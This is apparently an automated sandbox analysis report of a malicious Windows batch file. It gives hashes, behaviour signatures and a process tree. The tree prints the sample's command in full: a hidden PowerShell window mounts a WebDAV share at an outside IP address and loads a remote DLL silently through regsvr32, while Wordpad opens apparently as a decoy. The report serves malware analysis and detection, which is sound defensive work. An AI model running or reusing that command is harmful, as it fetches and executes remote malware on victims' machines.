Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    23/07/2024, 01:06

General

  • Target

    892934021166630625.bat

  • Size

    15KB

  • MD5

    8a715f19c3ea412859e3550299aa0b66

  • SHA1

    6150ec2f71440f3b4bddd3cc3689a5dc160e50fa

  • SHA256

    c1fd5e409b10ec1400d9c433e3d6e781825e8e5485a37491938e4a337c80a871

  • SHA512

    9d4a5bfa1a2d04b69b14fc568d6819a41afea96580050e9c0761d5d69c24f0e996c323684b021cd66a2ac6b3aabd6d79ce70f2b98d8f102eefe67f777d72e63f

  • SSDEEP

    384:ihe0DgNhHJNnA9IAxS1byuC4Q8W0Zdob/tIxzcCCKtyFD1oI57bBbYg+23kA:5rHJVA9Iuyb3QcdG6zcpKtOJnbBb8akA

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\892934021166630625.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2384
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2408
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\15408171637521.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2068
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2816
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\15408171637521.dll
          3⤵
            PID:2836

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2068-23-0x000000001B560000-0x000000001B842000-memory.dmp

        Filesize

        2.9MB

      • memory/2068-24-0x0000000002810000-0x0000000002818000-memory.dmp

        Filesize

        32KB